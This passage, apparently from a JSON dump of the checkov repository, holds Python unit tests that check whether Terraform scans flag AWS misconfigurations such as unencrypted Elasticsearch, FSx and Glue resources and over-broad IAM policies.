    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticsearchDomainEnforceHTTPS import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticsearchDomainEnforceHTTPS(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ElasticsearchDomainEnforceHTTPS\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticsearch_domain.pass\",\n            \"aws_elasticsearch_domain.pass2\",\n            \"aws_opensearch_domain.pass\",\n            \"aws_opensearch_domain.pass2\",\n        }\n\n        failing_resources = {\n            \"aws_elasticsearch_domain.fail\",\n            \"aws_opensearch_domain.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticsearchDomainHA.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticsearchDomainHA import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticsearchDomainHA(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ElasticsearchDomainHA\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticsearch_domain.pass\",\n            \"aws_opensearch_domain.pass\",\n        }\n\n        failing_resources = {\n            \"aws_elasticsearch_domain.fail\",\n            \"aws_elasticsearch_domain.fail2\",\n            \"aws_opensearch_domain.fail\",\n            \"aws_opensearch_domain.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticsearchDomainLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticsearchDomainLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticsearchDomainLogging(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ElasticsearchDomainLogging\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticsearch_domain.pass\",\n            \"aws_elasticsearch_domain.pass2\",\n            \"aws_opensearch_domain.pass\",\n            \"aws_opensearch_domain.pass2\",\n        }\n\n        failing_resources = {\n            \"aws_elasticsearch_domain.fail\",\n            \"aws_elasticsearch_domain.fail2\",\n            \"aws_opensearch_domain.fail\",\n            \"aws_opensearch_domain.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticsearchEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticsearchEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticsearchEncryption(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ElasticsearchEncryption\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticsearch_domain.enabled\",\n            \"aws_opensearch_domain.pass\",\n        }\n\n        failing_resources = {\n            \"aws_elasticsearch_domain.default\",\n            \"aws_elasticsearch_domain.disabled\",\n            \"aws_opensearch_domain.fail\",\n            \"aws_opensearch_domain.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticsearchEncryptionWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticsearchEncryptionWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticsearchEncryptionWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ElasticsearchEncryptionWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticsearch_domain.pass\",\n            \"aws_opensearch_domain.pass\",\n        }\n\n        failing_resources = {\n            \"aws_elasticsearch_domain.fail\",\n            \"aws_elasticsearch_domain.fail2\",\n            \"aws_opensearch_domain.fail\",\n            \"aws_opensearch_domain.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticsearchInVPC.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticsearchInVPC import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticsearchInVPC(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticsearchInVPC\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticsearch_domain.pass\",\n            \"aws_opensearch_domain.pass\",\n        }\n        failing_resources = {\n            \"aws_elasticsearch_domain.fail\",\n            \"aws_opensearch_domain.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticsearchNodeToNodeEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticsearchNodeToNodeEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticsearchNodeToNodeEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticsearchNodeToNodeEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticsearch_domain.without_cluster_config\",\n            \"aws_elasticsearch_domain.without_instance_count\",\n            \"aws_elasticsearch_domain.instance_count_not_bigger_than_1\",\n            \"aws_elasticsearch_domain.node_to_node_encryption_enabled\",\n            \"aws_elasticsearch_domain.old_hcl\",\n            \"aws_opensearch_domain.without_cluster_config\",\n            \"aws_opensearch_domain.without_instance_count\",\n            \"aws_opensearch_domain.instance_count_not_bigger_than_1\",\n            \"aws_opensearch_domain.node_to_node_encryption_enabled\",\n            \"aws_opensearch_domain.old_hcl\"\n        }\n        failing_resources = {\n            \"aws_elasticsearch_domain.node_to_node_encryption_disabled\",\n            \"aws_elasticsearch_domain.node_to_node_encryption_doesnt_exist\",\n            \"aws_opensearch_domain.node_to_node_encryption_disabled\",\n            \"aws_opensearch_domain.node_to_node_encryption_doesnt_exist\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 10)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticsearchTLSPolicy.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticsearchTLSPolicy import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticsearchTLSPolicy(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticsearchTLSPolicy\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticsearch_domain.pass\",\n            \"aws_elasticsearch_domain.pass2\",\n            \"aws_opensearch_domain.pass\",\n            \"aws_opensearch_domain.pass2\"\n        }\n        failing_resources = {\n            \"aws_elasticsearch_domain.fail\",\n            \"aws_elasticsearch_domain.notset\",\n            \"aws_opensearch_domain.fail\",\n            \"aws_opensearch_domain.notset\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_FSXOntapFSEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.FSXOntapFSEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestFSXOntapFSEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_FSXOntapFSEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_fsx_ontap_file_system.pass\",\n        }\n        failing_resources = {\n            \"aws_fsx_ontap_file_system.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_FSXOpenZFSFileSystemEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.FSXOpenZFSFileSystemEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestFSXOpenZFSFileSystemEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_FSXOpenZFSFileSystemEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_fsx_openzfs_file_system.pass\",\n        }\n        failing_resources = {\n            \"aws_fsx_openzfs_file_system.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_FSXWindowsFSEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.FSXWindowsFSEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestFSXWindowsFSEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_FSXWindowsFSEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_fsx_windows_file_system.pass\",\n        }\n        failing_resources = {\n            \"aws_fsx_windows_file_system.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_GlacierVaultAnyPrincipal.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.GlacierVaultAnyPrincipal import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBackupVaultEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GlacierVaultAnyPrincipal\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_glacier_vault.my_archive1\",\n            \"aws_glacier_vault.my_archive6\",\n        }\n        failing_resources = {\n            \"aws_glacier_vault.my_archive2\",\n            \"aws_glacier_vault.my_archive3\",\n            \"aws_glacier_vault.my_archive4\",\n            \"aws_glacier_vault.my_archive5\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_GlobalAcceleratorAcceleratorFlowLogs.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.GlobalAcceleratorAcceleratorFlowLogs import check\n\n\nclass TestGlobalAcceleratorAcceleratorFlowLogs(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {\"name\": \"Example\"}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_full(self):\n        resource_conf = {\n            \"name\": \"Example\",\n            \"attributes\": [\n                {\n                    \"flow_logs_enabled\": [False]\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\n            \"name\": \"Example\",\n            \"attributes\": [\n                {\n                    \"flow_logs_enabled\": [True]\n                }\n            ],\n        }\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_GlueDataCatalogEncryption.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.GlueDataCatalogEncryption import check\nimport hcl2\n\nclass TestGlueDataCatalogEncryption(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_glue_data_catalog_encryption_settings\" \"test\" {\n  data_catalog_encryption_settings {\n    connection_password_encryption {\n      return_connection_password_encrypted = false\n    }\n    encryption_at_rest {\n      catalog_encryption_mode = \"DISABLED\"\n    }\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_glue_data_catalog_encryption_settings']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_glue_data_catalog_encryption_settings\" \"test\" {\n  data_catalog_encryption_settings {\n    connection_password_encryption {\n      aws_kms_key_id                       = aws_kms_key.test.arn\n      return_connection_password_encrypted = true\n    }\n    encryption_at_rest {\n      catalog_encryption_mode = \"SSE-KMS\"\n      sse_aws_kms_key_id      = aws_kms_key.test.arn\n    }\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_glue_data_catalog_encryption_settings']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_GlueSecurityConfiguration.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.GlueSecurityConfiguration import check\nimport hcl2\n\nclass TestGlueSecurityConfiguration(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_glue_security_configuration\" \"test\" {\n  name = \"example\"\n\n  encryption_configuration {\n    cloudwatch_encryption {\n      cloudwatch_encryption_mode = \"DISABLED\"\n    }\n\n    job_bookmarks_encryption {\n      job_bookmarks_encryption_mode = \"DISABLED\"\n    }\n\n    s3_encryption {\n      kms_key_arn        = data.aws_kms_key.example.arn\n      s3_encryption_mode = \"SSE-KMS\"\n    }\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_glue_security_configuration']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_glue_security_configuration\" \"test\" {\n  name = \"example\"\n\n  encryption_configuration {\n    cloudwatch_encryption {\n      cloudwatch_encryption_mode = \"SSE-KMS\"\n      kms_key_arn        = aws_kms_key.example.arn\n    }\n\n    job_bookmarks_encryption {\n      job_bookmarks_encryption_mode = \"CSE-KMS\"\n      kms_key_arn        = aws_kms_key.example.arn\n    }\n\n    s3_encryption {\n      kms_key_arn        = aws_kms_key.example.arn\n      s3_encryption_mode = \"SSE-KMS\"\n    }\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_glue_security_configuration']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_GlueSecurityConfigurationEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.terraform.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.GlueSecurityConfigurationEnabled import check\n\n\nclass TestGlueSecurityConfigurationEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GlueSecurityConfigurationEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_glue_crawler.enabled\",\n            \"aws_glue_dev_endpoint.enabled\",\n            \"aws_glue_job.enabled\",\n        }\n        failing_resources = {\n            \"aws_glue_crawler.default\",\n            \"aws_glue_dev_endpoint.default\",\n            \"aws_glue_job.default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_GuarddutyDetectorEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.terraform.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.GuarddutyDetectorEnabled import check\n\n\nclass TestGuarddutyDetectorEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GuarddutyDetectorEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_guardduty_detector.pass\",\n            \"aws_guardduty_detector.pass2\",\n        }\n        failing_resources = {\n            \"aws_guardduty_detector.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMAdminPolicyDocument.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.IAMAdminPolicyDocument import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMAdminPolicyDocument(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_IAMAdminPolicyDocument\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'aws_iam_policy.pass1',\n            'aws_iam_policy.pass2',\n            'aws_ssoadmin_permission_set_inline_policy.pass1'\n        }\n        failing_resources = {\n            'aws_iam_policy.fail1',\n            'aws_iam_policy.fail2',\n            'aws_iam_policy.fail3',\n            'aws_iam_policy.fail4',\n            'aws_ssoadmin_permission_set_inline_policy.fail1'\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 5)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMCredentialsExposure.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.IAMCredentialsExposure import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMCredentialsExposure(unittest.TestCase):\n    def setUp(self):\n        from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner\n        # needs to be reset, because the cache belongs to the class not instance\n        BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {}\n\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_IAMCredentialsExposure\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy.allowed_action\",\n            \"aws_iam_policy.deny\",\n            \"aws_iam_policy.pass\",\n        }\n        failing_resources = {\n            \"aws_iam_policy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['policy/Statement/[0]/Action'])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMDataExfiltration.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.IAMDataExfiltration import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMDataExfiltration(unittest.TestCase):\n    def setUp(self):\n        from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner\n        # needs to be reset, because the cache belongs to the class not instance\n        BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {}\n\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_IAMDataExfiltration\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy.pass\",\n        }\n        failing_resources = {\n            \"aws_iam_policy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['policy/Statement/[0]/Action'])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMManagedAdminPolicy.py",
